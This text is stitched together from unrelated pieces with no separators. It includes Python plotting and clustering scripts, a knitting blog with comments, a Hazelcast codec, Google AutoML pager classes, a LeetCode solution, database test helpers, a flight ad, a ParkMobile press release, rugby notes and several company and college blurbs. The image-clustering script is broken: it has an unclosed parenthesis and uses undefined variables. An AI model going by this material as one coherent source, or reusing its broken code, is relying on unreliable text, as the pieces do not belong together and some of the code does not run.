np.loadtxt("../nn_gaussian_same_projection/"+str(dim)+'Dgaussian_same_projection_redefined__0_1__0_1_noCPV_optimised_p_values_1_2_3_std_dev.txt') p_1_nn.append(temp1), p_2_nn.append(temp2), p_3_nn.append(temp3) print("Neural Network 3 layers with 33 neurons : ", p_1_nn,p_2_nn,p_3_nn) p_1_miranda_2bins = [] p_2_miranda_2bins = [] p_3_miranda_2bins = [] for dim in range(2,11): temp1,temp2,temp3 = np.loadtxt("../miranda_gaussian_same_projection/gaussian_same_projection_redefined_p_value_distribution__0_1__0_1_noCPV_miranda_"+str(dim)+'D_2_bins_p_values_1_2_3_std_dev.txt') p_1_miranda_2bins.append(temp1), p_2_miranda_2bins.append(temp2), p_3_miranda_2bins.append(temp3) print("Miranda 2 bins: ", p_1_miranda_2bins,p_2_miranda_2bins,p_3_miranda_2bins) p_1_miranda_3bins = [] p_2_miranda_3bins = [] p_3_miranda_3bins = [] for dim in range(2,11): temp1,temp2,temp3 = np.loadtxt("../miranda_gaussian_same_projection/gaussian_same_projection_redefined_p_value_distribution__0_1__0_1_noCPV_miranda_"+str(dim)+'D_3_bins_p_values_1_2_3_std_dev.txt') p_1_miranda_3bins.append(temp1), p_2_miranda_3bins.append(temp2), p_3_miranda_3bins.append(temp3) print("Miranda 3 bins: ", p_1_miranda_3bins,p_2_miranda_3bins,p_3_miranda_3bins) p_1_miranda_5bins = [] p_2_miranda_5bins = [] p_3_miranda_5bins = [] for dim in range(2,11): temp1,temp2,temp3 = np.loadtxt("../miranda_gaussian_same_projection/gaussian_same_projection_redefined_p_value_distribution__0_1__0_1_noCPV_miranda_"+str(dim)+'D_5_bins_p_values_1_2_3_std_dev.txt') p_1_miranda_5bins.append(temp1), p_2_miranda_5bins.append(temp2), p_3_miranda_5bins.append(temp3) print("Miranda 5 bins: ", p_1_miranda_5bins,p_2_miranda_5bins,p_3_miranda_5bins) fig = plt.figure() ax = fig.add_subplot(1,1,1) ax.plot(dimensions,p_2_bdt,label="bdt 2$\sigma$",color='darkorange') ax.plot(dimensions,p_2_svm,label="svm 2$\sigma$",color='lawngreen') ax.plot(dimensions,p_2_nn,label="nn 2$\sigma$",color='blue') ax.plot(dimensions,p_2_miranda_2bins,label="Miranda 2bins 2$\sigma$",color='red') ax.plot(dimensions,p_2_miranda_3bins,label="Miranda 3bins 2$\sigma$",color='indianred') ax.plot(dimensions,p_2_miranda_5bins,label="Miranda 5bins 2$\sigma$",color='saddlebrown') plt.ylim([-5,105]) ax.set_xlabel("Number of dimensions") ax.set_ylabel("Number of samples") ax.set_title("Dimensionality analysis redefined noCPV") ax.legend(loc='right') fig_name="gaussian_same_projection_redefined__0_1__0_1_noCPV_optimised_ensemble_dimensionality_analysis" fig.savefig(fig_name) fig.savefig("../bdt_gaussian_same_projection/"+fig_name) fig.savefig("../svm_gaussian_same_projection/"+fig_name) fig.savefig("../miranda_gaussian_same_projection/"+fig_name) print("Saved the figure as" , fig_name+".png") else: print("No valid mode entered")
Started my Eris cardigan last week, I haven’t started a sweater-sized project since the Eternal Sweater for Hubby in 1994. Short rows with cabling is an interesting experience! You knit two sides of a U shaped yoke (with a torturous pick up in the middle) then pick up stitches along the outside edge for the body. And then do some more short rows mixed with raglan increases. I can blissfully discard the charts when I’m done, there’s no "second sock" to do. I’m partway through the left side of the yoke and the centre pick up part is barely visible. The pattern so far is very clear, there are three pages of symbols and forty pages for both pullover and cardigan. I thought the yoke would be the worst part but the instructions for what happens next are daunting, including several instances of the word "graft". It makes me nervous because gauge is important for this pattern and my knitting tension is somewhere between violin strings and those steel cables you use for prestressed concrete. I have a dilemma: Knitting morning (second Saturday of the month 10-12pm) moved to Knitty Couture on the Loop while Brentwood Borders was closed. Borders has risen from its watery grave and is open again. Do we move knitting morning back there (taking advantage of the coffee and cookies, and opportunities to freak out the Muggles), or stay in the yarn store (which opens at 11am, not 10am, but it’s a yarn store)? I’m polling the ladies involved but what would you do? Might I suggest sticking with the Yarn Store, since it’s (a) easier to get to and (b) closer to home and (c) you have “experts” and raw-materials on-hand. Wow, Eris sounds way above my comfort level. I recently changed my mind on a pattern because it involved picking up stitches to knit a V-neck and it looked too stressful. I’d vote for Borders, but mainly because it’s closer to my house. Now with Saturday mornings free, I might be able to attend one if I could walk there. Forty pages? That is making my head swim just thinking about it. Cute sweater though.
from itertools import cycle from time import time import numpy as np import matplotlib.pyplot as plt import matplotlib.colors as colors from sklearn.preprocessing import StandardScaler from sklearn.cluster import Birch from PIL import Image import sys import os mydir = os.path.expanduser("~/GitHub/Image-Analysis") # Read image img = Image.open(mydir + '/photos/test.jpg').convert('RGBA') arr = np.array(img) X = arr.ravel() fig = plt.figure() plt.imshow(img, cmap=plt.cm.gray) plt.savefig(mydir + '/results/photos/image_as_analyzable_object.png') # Compute clustering with Birch birch_models = [Birch(threshold=1.7, n_clusters=None)] #for ind, (birch_model, info) in enumerate(zip(birch_models, final_step)): t1 = time() birch_model.fit(X) t2 = time() print("Birch %s as the final step took %0.2f seconds" % (info, (t2)) # Plot result labels = birch_model.labels_ centroids = birch_model.subcluster_centers_ n_clusters = np.unique(labels).size print("n_clusters : %d" % n_clusters) ax = fig.add_subplot(1, 1, 1) for this_centroid, k, col in zip(centroids, range(n_clusters), colors): mask = labels == k ax.plot(X[mask, 0], X[mask, 1], 'w', markerfacecolor=col, marker='.') if birch_model.n_clusters is None: ax.plot(this_centroid[0], this_centroid[1], '+', markerfacecolor=col, markeredgecolor='k', markersize=5) ax.set_ylim([-25, 25]) ax.set_xlim([-25, 25]) ax.set_autoscaley_on(False) ax.set_title('Birch %s' % info) #cv2.imwrite(mydir + '/results/photos/using_scikit_learn_clustering.png', fig)
Check the last page of the newsletter for important dates and contact persons in CMRSP. Final meeting for the 2017-2018 activity year was held at the Holiday Inn, University with members and special guests in attendance. Justin Jean-Jacques received the $1000 Dr. Sam Haywood scholarship. Sydney Reid received the Elizabeth Randolph Scholarship. Adam Baker received the Dr. Chris Folk Scholarship. Tierra Cunningham received the scholarship for Teacher Assistants. James Houston II, North Meck. Will attend Norfolk State Univ.
from hazelcast.serialization.bits import * from hazelcast.protocol.builtin import FixSizedTypesCodec from hazelcast.protocol.client_message import OutboundMessage, REQUEST_HEADER_SIZE, create_initial_buffer, RESPONSE_HEADER_SIZE from hazelcast.protocol.builtin import StringCodec from hazelcast.protocol.builtin import DataCodec # hex: 0x100200 _REQUEST_MESSAGE_TYPE = 1049088 # hex: 0x100201 _RESPONSE_MESSAGE_TYPE = 1049089 _REQUEST_TXN_ID_OFFSET = REQUEST_HEADER_SIZE _REQUEST_THREAD_ID_OFFSET = _REQUEST_TXN_ID_OFFSET + UUID_SIZE_IN_BYTES _REQUEST_INITIAL_FRAME_SIZE = _REQUEST_THREAD_ID_OFFSET + LONG_SIZE_IN_BYTES _RESPONSE_RESPONSE_OFFSET = RESPONSE_HEADER_SIZE def encode_request(name, txn_id, thread_id, item): buf = create_initial_buffer(_REQUEST_INITIAL_FRAME_SIZE, _REQUEST_MESSAGE_TYPE) FixSizedTypesCodec.encode_uuid(buf, _REQUEST_TXN_ID_OFFSET, txn_id) FixSizedTypesCodec.encode_long(buf, _REQUEST_THREAD_ID_OFFSET, thread_id) StringCodec.encode(buf, name) DataCodec.encode(buf, item, True) return OutboundMessage(buf, False) def decode_response(msg): initial_frame = msg.next_frame() return FixSizedTypesCodec.decode_boolean(initial_frame.buf, _RESPONSE_RESPONSE_OFFSET)
The Groove Motive aka "TGM", was founded by a group of talented individuals who stumbled upon each other in the Mid-Atlantic music scene and found that they shared a common passion to make good music and to provide an entertaining experience for concert goers. Thus, The Groove Motive was born out of the sincere motivation to groove audiences through the power and joy of music. And they do indeed deliver!
# -*- coding: utf-8 -*- # Copyright 2020 Google LLC # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. # from typing import Any, AsyncIterable, Awaitable, Callable, Iterable, Sequence, Tuple, Optional from google.cloud.automl_v1.types import dataset from google.cloud.automl_v1.types import model from google.cloud.automl_v1.types import model_evaluation from google.cloud.automl_v1.types import service class ListDatasetsPager: """A pager for iterating through ``list_datasets`` requests. This class thinly wraps an initial :class:`google.cloud.automl_v1.types.ListDatasetsResponse` object, and provides an ``__iter__`` method to iterate through its ``datasets`` field. If there are more pages, the ``__iter__`` method will make additional ``ListDatasets`` requests and continue to iterate through the ``datasets`` field on the corresponding responses. All the usual :class:`google.cloud.automl_v1.types.ListDatasetsResponse` attributes are available on the pager. If multiple requests are made, only the most recent response is retained, and thus used for attribute lookup. """ def __init__(self, method: Callable[..., service.ListDatasetsResponse], request: service.ListDatasetsRequest, response: service.ListDatasetsResponse, *, metadata: Sequence[Tuple[str, str]] = ()): """Instantiate the pager. Args: method (Callable): The method that was originally called, and which instantiated this pager. request (google.cloud.automl_v1.types.ListDatasetsRequest): The initial request object. response (google.cloud.automl_v1.types.ListDatasetsResponse): The initial response object. metadata (Sequence[Tuple[str, str]]): Strings which should be sent along with the request as metadata. """ self._method = method self._request = service.ListDatasetsRequest(request) self._response = response self._metadata = metadata def __getattr__(self, name: str) -> Any: return getattr(self._response, name) @property def pages(self) -> Iterable[service.ListDatasetsResponse]: yield self._response while self._response.next_page_token: self._request.page_token = self._response.next_page_token self._response = self._method(self._request, metadata=self._metadata) yield self._response def __iter__(self) -> Iterable[dataset.Dataset]: for page in self.pages: yield from page.datasets def __repr__(self) -> str: return '{0}<{1!r}>'.format(self.__class__.__name__, self._response) class ListDatasetsAsyncPager: """A pager for iterating through ``list_datasets`` requests. This class thinly wraps an initial :class:`google.cloud.automl_v1.types.ListDatasetsResponse` object, and provides an ``__aiter__`` method to iterate through its ``datasets`` field. If there are more pages, the ``__aiter__`` method will make additional ``ListDatasets`` requests and continue to iterate through the ``datasets`` field on the corresponding responses. All the usual :class:`google.cloud.automl_v1.types.ListDatasetsResponse` attributes are available on the pager. If multiple requests are made, only the most recent response is retained, and thus used for attribute lookup. """ def __init__(self, method: Callable[..., Awaitable[service.ListDatasetsResponse]], request: service.ListDatasetsRequest, response: service.ListDatasetsResponse, *, metadata: Sequence[Tuple[str, str]] = ()): """Instantiates the pager. Args: method (Callable): The method that was originally called, and which instantiated this pager. request (google.cloud.automl_v1.types.ListDatasetsRequest): The initial request object. response (google.cloud.automl_v1.types.ListDatasetsResponse): The initial response object. metadata (Sequence[Tuple[str, str]]): Strings which should be sent along with the request as metadata. """ self._method = method self._request = service.ListDatasetsRequest(request) self._response = response self._metadata = metadata def __getattr__(self, name: str) -> Any: return getattr(self._response, name) @property async def pages(self) -> AsyncIterable[service.ListDatasetsResponse]: yield self._response while self._response.next_page_token: self._request.page_token = self._response.next_page_token self._response = await self._method(self._request, metadata=self._metadata) yield self._response def __aiter__(self) -> AsyncIterable[dataset.Dataset]: async def async_generator(): async for page in self.pages: for response in page.datasets: yield response return async_generator() def __repr__(self) -> str: return '{0}<{1!r}>'.format(self.__class__.__name__, self._response) class ListModelsPager: """A pager for iterating through ``list_models`` requests. This class thinly wraps an initial :class:`google.cloud.automl_v1.types.ListModelsResponse` object, and provides an ``__iter__`` method to iterate through its ``model`` field. If there are more pages, the ``__iter__`` method will make additional ``ListModels`` requests and continue to iterate through the ``model`` field on the corresponding responses. All the usual :class:`google.cloud.automl_v1.types.ListModelsResponse` attributes are available on the pager. If multiple requests are made, only the most recent response is retained, and thus used for attribute lookup. """ def __init__(self, method: Callable[..., service.ListModelsResponse], request: service.ListModelsRequest, response: service.ListModelsResponse, *, metadata: Sequence[Tuple[str, str]] = ()): """Instantiate the pager. Args: method (Callable): The method that was originally called, and which instantiated this pager. request (google.cloud.automl_v1.types.ListModelsRequest): The initial request object. response (google.cloud.automl_v1.types.ListModelsResponse): The initial response object. metadata (Sequence[Tuple[str, str]]): Strings which should be sent along with the request as metadata. """ self._method = method self._request = service.ListModelsRequest(request) self._response = response self._metadata = metadata def __getattr__(self, name: str) -> Any: return getattr(self._response, name) @property def pages(self) -> Iterable[service.ListModelsResponse]: yield self._response while self._response.next_page_token: self._request.page_token = self._response.next_page_token self._response = self._method(self._request, metadata=self._metadata) yield self._response def __iter__(self) -> Iterable[model.Model]: for page in self.pages: yield from page.model def __repr__(self) -> str: return '{0}<{1!r}>'.format(self.__class__.__name__, self._response) class ListModelsAsyncPager: """A pager for iterating through ``list_models`` requests. This class thinly wraps an initial :class:`google.cloud.automl_v1.types.ListModelsResponse` object, and provides an ``__aiter__`` method to iterate through its ``model`` field. If there are more pages, the ``__aiter__`` method will make additional ``ListModels`` requests and continue to iterate through the ``model`` field on the corresponding responses. All the usual :class:`google.cloud.automl_v1.types.ListModelsResponse` attributes are available on the pager. If multiple requests are made, only the most recent response is retained, and thus used for attribute lookup. """ def __init__(self, method: Callable[..., Awaitable[service.ListModelsResponse]], request: service.ListModelsRequest, response: service.ListModelsResponse, *, metadata: Sequence[Tuple[str, str]] = ()): """Instantiates the pager. Args: method (Callable): The method that was originally called, and which instantiated this pager. request (google.cloud.automl_v1.types.ListModelsRequest): The initial request object. response (google.cloud.automl_v1.types.ListModelsResponse): The initial response object. metadata (Sequence[Tuple[str, str]]): Strings which should be sent along with the request as metadata. """ self._method = method self._request = service.ListModelsRequest(request) self._response = response self._metadata = metadata def __getattr__(self, name: str) -> Any: return getattr(self._response, name) @property async def pages(self) -> AsyncIterable[service.ListModelsResponse]: yield self._response while self._response.next_page_token: self._request.page_token = self._response.next_page_token self._response = await self._method(self._request, metadata=self._metadata) yield self._response def __aiter__(self) -> AsyncIterable[model.Model]: async def async_generator(): async for page in self.pages: for response in page.model: yield response return async_generator() def __repr__(self) -> str: return '{0}<{1!r}>'.format(self.__class__.__name__, self._response) class ListModelEvaluationsPager: """A pager for iterating through ``list_model_evaluations`` requests. This class thinly wraps an initial :class:`google.cloud.automl_v1.types.ListModelEvaluationsResponse` object, and provides an ``__iter__`` method to iterate through its ``model_evaluation`` field. If there are more pages, the ``__iter__`` method will make additional ``ListModelEvaluations`` requests and continue to iterate through the ``model_evaluation`` field on the corresponding responses. All the usual :class:`google.cloud.automl_v1.types.ListModelEvaluationsResponse` attributes are available on the pager. If multiple requests are made, only the most recent response is retained, and thus used for attribute lookup. """ def __init__(self, method: Callable[..., service.ListModelEvaluationsResponse], request: service.ListModelEvaluationsRequest, response: service.ListModelEvaluationsResponse, *, metadata: Sequence[Tuple[str, str]] = ()): """Instantiate the pager. Args: method (Callable): The method that was originally called, and which instantiated this pager. request (google.cloud.automl_v1.types.ListModelEvaluationsRequest): The initial request object. response (google.cloud.automl_v1.types.ListModelEvaluationsResponse): The initial response object. metadata (Sequence[Tuple[str, str]]): Strings which should be sent along with the request as metadata. """ self._method = method self._request = service.ListModelEvaluationsRequest(request) self._response = response self._metadata = metadata def __getattr__(self, name: str) -> Any: return getattr(self._response, name) @property def pages(self) -> Iterable[service.ListModelEvaluationsResponse]: yield self._response while self._response.next_page_token: self._request.page_token = self._response.next_page_token self._response = self._method(self._request, metadata=self._metadata) yield self._response def __iter__(self) -> Iterable[model_evaluation.ModelEvaluation]: for page in self.pages: yield from page.model_evaluation def __repr__(self) -> str: return '{0}<{1!r}>'.format(self.__class__.__name__, self._response) class ListModelEvaluationsAsyncPager: """A pager for iterating through ``list_model_evaluations`` requests. This class thinly wraps an initial :class:`google.cloud.automl_v1.types.ListModelEvaluationsResponse` object, and provides an ``__aiter__`` method to iterate through its ``model_evaluation`` field. If there are more pages, the ``__aiter__`` method will make additional ``ListModelEvaluations`` requests and continue to iterate through the ``model_evaluation`` field on the corresponding responses. All the usual :class:`google.cloud.automl_v1.types.ListModelEvaluationsResponse` attributes are available on the pager. If multiple requests are made, only the most recent response is retained, and thus used for attribute lookup. """ def __init__(self, method: Callable[..., Awaitable[service.ListModelEvaluationsResponse]], request: service.ListModelEvaluationsRequest, response: service.ListModelEvaluationsResponse, *, metadata: Sequence[Tuple[str, str]] = ()): """Instantiates the pager. Args: method (Callable): The method that was originally called, and which instantiated this pager. request (google.cloud.automl_v1.types.ListModelEvaluationsRequest): The initial request object. response (google.cloud.automl_v1.types.ListModelEvaluationsResponse): The initial response object. metadata (Sequence[Tuple[str, str]]): Strings which should be sent along with the request as metadata. """ self._method = method self._request = service.ListModelEvaluationsRequest(request) self._response = response self._metadata = metadata def __getattr__(self, name: str) -> Any: return getattr(self._response, name) @property async def pages(self) -> AsyncIterable[service.ListModelEvaluationsResponse]: yield self._response while self._response.next_page_token: self._request.page_token = self._response.next_page_token self._response = await self._method(self._request, metadata=self._metadata) yield self._response def __aiter__(self) -> AsyncIterable[model_evaluation.ModelEvaluation]: async def async_generator(): async for page in self.pages: for response in page.model_evaluation: yield response return async_generator() def __repr__(self) -> str: return '{0}<{1!r}>'.format(self.__class__.__name__, self._response)
Book cheap flights from Richmond to Atlanta on MyFlightSearch! Enjoy great discount and savings on flights to Atlanta from Richmond. Plan your trip with our exclusive deals and save on flights from RIC to ATL. We have a wide selection airfare deals to Atlanta from Richmond. Be it a business or a leisure trip, Book discount flights from Richmond to Atlanta on MyFlightSearch and jet set for a vacation without exceeding your budget. Nicknamed ‘the Capital of the South,’ Atlanta is one of the United States’ most visited cities. It is home to the Georgia Aquarium, which is the world’s largest aquarium and features more than 100,000 aquatic animals. Among the other premier attractions of the city that you can explore are the World of Coca Cola, Center for Civil and Human Rights, the Martin Luther King Jr. National Historic Site, and the Piedmont Park. Besides, the city also has a host of museums, art galleries and theaters that offer a peek into its diverse and prosperous culture. If you wish to do some shopping, enjoy Atlanta’s food scene, or want to party - you can find plenty of options at Downtown, Midtown, and Buckhead neighborhoods. Though Atlanta is a massive city, most of its traveler attractions are easily connected through public transportation. Take advantage of our low cost flight deals from Richmond to Atlanta and jet set for a budget friendly Atlanta getaway. Book online or call our 24*7 customer care to get the cheapest airline tickets to Atlanta from Richmond. Did You Know Facts on Flights from Richmond to Atlanta? Average Airfare to Atlanta from Richmond can range from $127 to $2837. Early bookings can usually assist you in getting the cheapest flight tickets. Booking in advance is one of the most proven ways to obtain discount airfares. There are no direct flights between the two cities. However, you can find multiple connecting flights from RIC to ATL. December to February is the cheapest time to fly from Richmond to Atlanta. Travelers may find some bargains on hotel rates as well during these months. The average flight time between Richmond to Atlanta is around 3 hours and 24 minutes. The flight distance from Richmond to Atlanta is around 480 miles.
# coding: utf-8 # author: Fei Gao <leetcode.com@feigao.xyz> # Problem: ugly number # # Write a program to check whether a given number is an ugly number. # # Ugly numbers are positive numbers whose prime factors only include 2, 3, 5. # For example, 6, 8 are ugly while 14 is not ugly since it includes another # prime factor 7. # # Note that 1 is typically treated as an ugly number. # # Credits:Special thanks to @jianchao.li.fighter for adding this problem and # creating all test cases. # # Subscribe to see which companies asked this question # # Show Tags # # Math # # Show Similar Problems # # (E) Happy Number # (E) Count Primes # (M) Ugly Number II class Solution(object): def isUgly(self, num): """ :type num: int :rtype: bool """ if num < 1: return False if num == 1: return True ps = [2, 3, 5] for p in ps: while num % p == 0: num //= p return num == 1 def main(): solver = Solution() tests = [ ((1,), True), ((2,), True), ((14,), False), ((-1,), False), ] for params, expect in tests: print('-' * 5 + 'TEST' + '-' * 5) print('Input: ' + str(params)) print('Expect: ' + str(expect)) result = solver.isUgly(*params) print('Result: ' + str(result)) pass if __name__ == '__main__': main() pass
ParkMobile, the leading provider of mobile payment solutions to municipalities and parking providers, announced a substantial investment by the BMW Group. In addition, the strategic integration of BMW Group’s prepaid parking solution, ParkNow, with ParkMobile was announced. The investment agreement with the BMW Group is pending approval of relevant anti-trust authorities in Europe. ParkMobile will use the additional funding to further expand its leading global position for on-demand and prepaid payments for on- and off-street parking. ParkMobile’s on-demand mobile payment solution and ParkNow’s prepaid parking solution together will provide consumers around the world with the ultimate customer parking experience. The combined service will soon become available for integration into connected vehicles of all OEMs. Additionally, it will be implemented in BMW connected vehicles. Customers will soon have the opportunity to pay for on-demand and prepaid parking from one mobile app using mobile applications for iPhone, Android, Windows 7, Blackberry and Amazon (soon to come) smartphones. To use the new integrated on-demand and prepaid system, customers can download the app, or register for free at www.parkmobile.io or www.park-now.com. Once registered, they can use a mobile app, the internet, or call toll free to pay for parking. After setting up the account, customers can immediately start using the system with their registered mobile phone. They can also select an option to receive alerts and reminders. For additional information and locations, please visit: www.parkmobile.io or www.park-now.com. ParkMobile International Holding B.V. is the leading provider for on-demand and prepaid mobile payments for on- and off-street parking. Their services are used in more than 600 locations in the U.S. by millions of registered users. ParkMobile’s investors include Fontinalis Partners, Bluefield Investments, BCD Group, and BMW Group and Urban Mobility (upon closing of the transaction). Fontinalis Partners, with offices in Detroit and Boston, is a venture capital firm strategically focused on Next-Generation Mobility. With annual global revenues of $24 billion, including $9.2 billion partner sales, BCD Group is an international market leader in corporate and online travel, off-airport parking and the mobile parking industry. For more information please visit www.parkmobile.io, facebook.com/Parkmobile or on Twitter @ParkMobile.
#!/usr/bin/env python # -*- coding: utf-8 -*- # vim: tabstop=4 expandtab shiftwidth=4 softtabstop=4 fileencoding=utf-8 ff=unix ft=python """ @author: Wu Liang @contact: garcia.relax@gmail.com @date: 2015/05/09 """ from __future__ import absolute_import from types import ModuleType import sys from chalk.SupportedColor import isSupportColor class Chalk(ModuleType): def __init__(self, selfModule): self.selfModule = selfModule self.styles = { "modifiers": { "reset": [0, 0], "bold": [1, 22], # 21 isn't widely supported and 22 does the same thing "dim": [2, 22], "italic": [3, 23], "underline": [4, 24], "inverse": [7, 27], "hidden": [8, 28], "strikethrough": [9, 29] }, "colors": { "black": [30, 39], "red": [31, 39], "green": [32, 39], "yellow": [33, 39], "blue": [34, 39], "magenta": [35, 39], "cyan": [36, 39], "white": [37, 39], "gray": [90, 39] }, "bgColors": { "bgBlack": [40, 49], "bgRed": [41, 49], "bgGreen": [42, 49], "bgYellow": [43, 49], "bgBlue": [44, 49], "bgMagenta": [45, 49], "bgCyan": [46, 49], "bgWhite": [47, 49] } } def __getattr__(self, style): def colorIt(s): found = None colored = s for key in self.styles.keys(): value = self.styles[key] for name in value.keys(): values = value[name] if name != style: continue found = values if isSupportColor() and found is not None: colored = str(u'\u001b[') + str(found[0]) + "m" + s + str(u'\u001b[') + str(found[1]) + "m" return colored return colorIt self = sys.modules[__name__] sys.modules[__name__] = Chalk(self)
Digital Lab Africa is an event created through the French Institute, where they call on people from Africa to take part in submitting their creative media projects, in order to win a prize. The Natural Agent designed the logo and all branding elements, and implemented the brand across various platforms such as the design and development of the website, printed postcards, magazine ads, interior wall banners, pull-up banners, web banners, and exhibition space design. Their website and printed collateral were designed in both English and in French.
# -*- coding:utf-8 -*- #-- # Copyright (c) 2012-2014 Net-ng. # All rights reserved. # # This software is licensed under the BSD License, as described in # the file LICENSE.txt, which you should have received as part of # this distribution. #-- from elixir import using_options from elixir import ManyToOne, ManyToMany from elixir import Field, Unicode, Integer from kansha.models import Entity class DataLabel(Entity): """Label mapper """ using_options(tablename='label') title = Field(Unicode(255)) color = Field(Unicode(255)) board = ManyToOne('DataBoard') cards = ManyToMany('DataCard', tablename='label_cards__card_labels') index = Field(Integer) def copy(self): new_data = DataLabel(title=self.title, color=self.color, index=self.index) return new_data def remove(self, card): self.cards.remove(card) def add(self, card): self.cards.append(card) @classmethod def get_by_card(cls, card): q = cls.query q = q.filter(cls.cards.contains(card)) return q.order_by(cls.index)
Meanwhile, flyhalf Handré Pollard will become the second most-capped Springbok No 10 when he make his 38th Test appearance on Saturday, surpassing 2007 World Cup winner Butch James’ 37 caps in that position. The most-capped Springbok flyhalf is Morné Steyn, with 64 Tests at pivot. South Africa and Scotland have played each other 16 times at Murrayfield, with the Springboks winning 12 of those Tests for a win percentage of 75%. Scotland head coach Gregor Townsend has also made six personnel changes to his starting line-up to face South Africa at Murrayfield on Saturday.
#!/usr/bin/env python # -*- coding: utf-8 -*- import logging import os.path import hashlib try: import cPickle as pickle except: import pickle def _calculate_checksum(filepath): hasher = hashlib.md5() with open(filepath, 'rb') as afile: buf = afile.read() hasher.update(buf) return hasher.hexdigest() def check_modification(name, dependencies, db_path): """ Check if at least one dependency changed. :param name: name of the figure :param dependencies: list of dependencies :param db_path: path of the database :returns: boolean """ logging.debug('Check modification for %s', name) if not os.path.isfile(db_path): logging.debug('No db, modif is True') return True cur_signature = {} for dep in dependencies: cur_signature[dep] = _calculate_checksum(dep) with open(db_path, 'rb') as fh: db = pickle.load(fh) db = db.get(name) if db is None: logging.debug('name unknown in db, modif is True') return True for dep, md5 in cur_signature.items(): value = db.get(dep) if value is None or value != md5: logging.debug('value of %s is None or does not match, modif is True', dep) return True return False def store_checksum(name, dependencies, db_path): """ Store the checksum in the db. :param name: name of the figure :param dependencies: list of dependencies :param db_path: path of the database """ logging.debug('Store checksums in db') # Calculate md5 sums cur_signature = {} for dep in dependencies: cur_signature[dep] = _calculate_checksum(dep) try: with open(db_path, 'rb') as fh: db = pickle.load(fh) except FileNotFoundError: db = {} # Merge dict db[name] = cur_signature with open(db_path, 'wb') as fh: pickle.dump(db, fh) def erase_db(db_path): """ Erase a database. :param db_path: path of the database """ logging.debug('Erase db') with open(db_path, 'wb') as fh: pickle.dump({}, fh)
Vipras Technomart also known as PMC Info Solutions has been providing custom-built computer hardware and peripherals to business customers for the past 17 years. Vipras Technomart is now a well-known name in the field of Information Technology. We are a family owned and operate business that strives to provide our customers with top-notch quality products at affordable prices. We provide a wide range of Information Technology services and solutions to major corporations, small business, and individuals. We have introduced ourselves as a professionally managed firm, involved in the field of Information Technology by providing the best in hardware solutions. Our teams have the right blend of marketing and technical skills. Our activities include trading computer systems, parts and peripherals, & networking solutions. We emphasize on the requirements of our clients and thus provide simple but exhaustive solutions.
import psycopg2 import subprocess import time import os.path dburl = "postgres://postgres@/hamsql-test" dburl_invalid = "postgres://postgresX@/hamsql-test" def run(cmd, setup, delete_db=False, capture=False, invalid_connection=False, args=[]): global dburl settings = {} path = 'hamsql' params = [path, cmd, '-s', 'setups/' + setup] if invalid_connection: params += ['-c', dburl_invalid] elif cmd != 'doc': params += ['-c', dburl] params += args if delete_db: params += [ '--permit-data-deletion', '--delete-existing-database', '--delete-residual-roles' ] if capture: settings.update({ 'stdout': subprocess.PIPE, 'stderr': subprocess.PIPE, 'universal_newlines': True }) return subprocess.run(params, **settings) def runAssertSilent(cmd, setup, **xs): completedProcess = run(cmd, setup, capture=True, **xs) assertSilent(completedProcess) return completedProcess def assertSilent(completedProcess): assert completedProcess.returncode == 0 assert completedProcess.stdout == "" assert completedProcess.stderr == "" def assertError(completedProcess, err): assert completedProcess.returncode == 1 assert completedProcess.stdout == "" assert err in completedProcess.stderr def assertStdErr(completedProcess, err): assert completedProcess.returncode == 0 assert completedProcess.stdout == "" assert err in completedProcess.stderr def assertStdOut(completedProcess, out): assert completedProcess.returncode == 0 assert out in completedProcess.stdout assert completedProcess.stderr == "" def check(domains=[], functions=[], tables=[], roles=[]): conn, cur = db_open() assert sorted(domains) == sorted(db_domains(cur)) assert sorted(functions) == sorted(db_functions(cur)) assert sorted(tables) == sorted(db_tables(cur)) assert sorted(roles) == sorted(db_roles(cur)) db_close(conn, cur) def db_open(): global dburl conn = psycopg2.connect(dburl + '?application_name=pytest') cur = conn.cursor() return conn, cur def db_close(conn, cur): cur.close() conn.close() def db_roles(cur): cur.execute(""" SELECT rolname ,rolsuper ,rolinherit ,rolcreaterole ,rolcreatedb ,rolcanlogin ,rolconnlimit ,rolbypassrls ,rolconfig FROM pg_catalog.pg_roles WHERE rolname LIKE 'hamsql-test_%' """) return cur.fetchall() def db_domains(cur): cur.execute(""" SELECT domain_catalog, domain_name, domain_schema, udt_name, character_maximum_length, domain_default FROM information_schema.domains WHERE domain_schema <> 'information_schema' """) return cur.fetchall() def db_tables(cur): cur.execute(""" SELECT table_schema, table_name, table_type FROM information_schema.tables WHERE table_schema NOT IN ('information_schema', 'pg_catalog') """) return cur.fetchall() def db_functions(cur): cur.execute(""" SELECT n.nspname ,p.proname ,ARRAY(SELECT UNNEST(p.proargtypes::regtype[]::varchar[])) ,prorettype::regtype::varchar ,proargnames ,prosecdef FROM pg_catalog.pg_proc AS p JOIN pg_namespace AS n ON p.pronamespace = n.oid AND NOT n.nspname LIKE 'pg_%' AND n.nspname NOT IN ('information_schema') WHERE p.probin IS NULL """) return cur.fetchall()
Georgetown is the nation’s oldest Catholic and Jesuit university. Drawing upon this legacy, we provide students with a world-class learning experience focused on educating the whole person through exposure to different faiths, cultures and beliefs. With our Jesuit values and location in Washington, D.C., Georgetown offers students a distinct opportunity to learn, experience and understand more about the world. Setting situated on an elevated site above the Potomac River, overlooking Northern Virginia.
